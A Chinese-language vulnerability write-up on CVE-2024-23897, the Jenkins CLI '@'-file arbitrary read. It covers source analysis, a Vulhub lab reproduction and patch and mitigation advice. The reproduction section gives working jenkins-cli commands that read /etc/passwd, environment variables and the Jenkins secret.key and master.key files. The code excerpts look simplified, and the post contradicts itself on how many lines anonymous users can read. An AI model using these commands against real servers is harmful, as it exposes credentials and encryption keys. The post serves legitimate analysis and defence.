CVE-2024-23897源码分析与漏洞复现(Jenkins 任意文件读取)
漏洞概述
漏洞编号:CVE-2024-23897
CVSS 评分:9.8
影响版本:
- Jenkins 主分支 ≤ 2.441
- Jenkins LTS 分支 ≤ 2.426.2
修复版本:≥ 2.442(主分支) / ≥ 2.426.3(LTS)
漏洞类型:未授权任意文件读取(Arbitrary File Read)
根本原因:Jenkins CLI 使用 args4j
库解析命令参数时,默认启用 @
文件路径扩展功能(expandAtFiles
),攻击者可利用该特性读取服务器任意文件(如 /etc/passwd
、加密密钥等),结合其他漏洞链可能导致 远程代码执行(RCE)。
技术细节与源码分析
1. 漏洞触发原理
Jenkins CLI 通过 args4j
库解析用户输入命令时,若参数以 @
开头,则触发文件内容替换逻辑:
java -jar jenkins-cli.jar -s http://target:8080 who-am-i '@/etc/passwd'
执行流程:
- CLI 将
@/etc/passwd
识别为文件路径; - 调用
expandAtFiles
方法读取文件内容; - 将文件内容作为参数注入命令上下文。
2. 关键源码定位
(1)漏洞入口:CLICommand#getCmdLineParser
代码路径:hudson/cli/CLICommand.java
protected CmdLineParser getCmdLineParser() { CmdLineParser parser = new CmdLineParser(this); parser.setAtSyntax(true); // 默认启用 @ 文件扩展功能 return parser;
}
问题:setAtSyntax(true)
强制开启文件路径解析,未做安全限制。
(2)文件读取逻辑:expandAtFiles
方法
代码路径:org/kohsuke/args4j/CmdLineParser.java
private String expandAtFiles(String arg) throws IOException { if (arg.startsWith("@")) { File f = new File(arg.substring(1)); return FileUtils.readFileToString(f, StandardCharsets.UTF_8); // 直接读取文件 } return arg;
}
漏洞点:
- 未校验文件路径合法性(如
../
路径遍历); - 未验证用户权限,支持读取任意路径。
(3)命令执行流:CLICommand#main
代码路径:hudson/cli/CLICommand.java
public void main(String[] args) { CmdLineParser parser = getCmdLineParser(); parser.parseArgument(args); // 触发参数解析 run(); // 执行命令
}
调用链:parseArgument
→ expandAtFiles
→ readFileToString
3. 权限与读取能力的关系
攻击者权限 | 文件读取能力 |
---|---|
未认证用户 | 读取任意文件的前 3 行 |
认证用户(Overall/Read) | 完整读取任意文件(包括二进制文件) |
注:二进制文件(如 secrets/master.key
)因字符编码转换可能部分损坏,但密钥仍可提取。
漏洞复现
环境搭建
1.使用 Vulhub 环境启动漏洞靶机
docker-compose up -d
2.访问访问 http://target:8080,确认服务正常运行
攻击步骤
-
利用该漏洞可以直接使用官方提供的命令行客户端,在
http://localhost:8080/jnlpJars/jenkins-cli.jar
下载。 -
使用该工具读取目标服务器的
/proc/self/environ
文件,可以找到Jenkins的基础目录,JENKINS_HOME=/var/jenkins_home
:
java -jar jenkins-cli.jar -s http://localhost:8080/ -http help 1 "@/proc/self/environ"
- 然后,可在该目录下读取敏感文件,如
secrets.key
ormaster.key
(匿名情况下,只能通过命令行的报错读取文件的第一行):
java -jar jenkins-cli.jar -s http://localhost:8080/ -http help 1 "@/var/jenkins_home/secret.key"
java -jar jenkins-cli.jar -s http://localhost:8080/ -http help 1 "@/var/jenkins_home/secrets/master.key"
- 因为开启了“匿名用户可读”选项,你也可以直接使用
connect-node
命令读取完整文件内容:
java -jar jenkins-cli.jar -s http://localhost:8080/ -http connect-node "@/etc/passwd"
修复方案
1. 官方补丁
- 升级版本:
- 主分支升级至 ≥ 2.442;
- LTS 分支升级至 ≥ 2.426.3;
- 补丁逻辑:在
CLICommand.java
中禁用@
语法:
补丁代码提交parser.setAtSyntax(false); // 关闭文件扩展功能
2. 临时缓解措施
- 禁用 CLI 访问:
java -jar jenkins-cli.jar -s http://target:8080 disable-cli
- 权限最小化:禁用匿名用户的 Overall/Read 权限。
漏洞启示
- 依赖库安全审计:
args4j
的默认危险功能需显式关闭,第三方库可能引入未知攻击面; - 纵深防御实践:
- 关键服务(如 Jenkins)禁止公网暴露;
- 定期轮转加密密钥(如
master.key
);
- 自动化响应:结合 WAF(如 Cloudflare)实时阻断攻击流量,减少应急响应时间⏳。
参考链接
- Jenkins 官方安全公告(2024-01-24)
- 补丁代码对比(GitHub)
- 漏洞复现与 PoC(FreeBuf)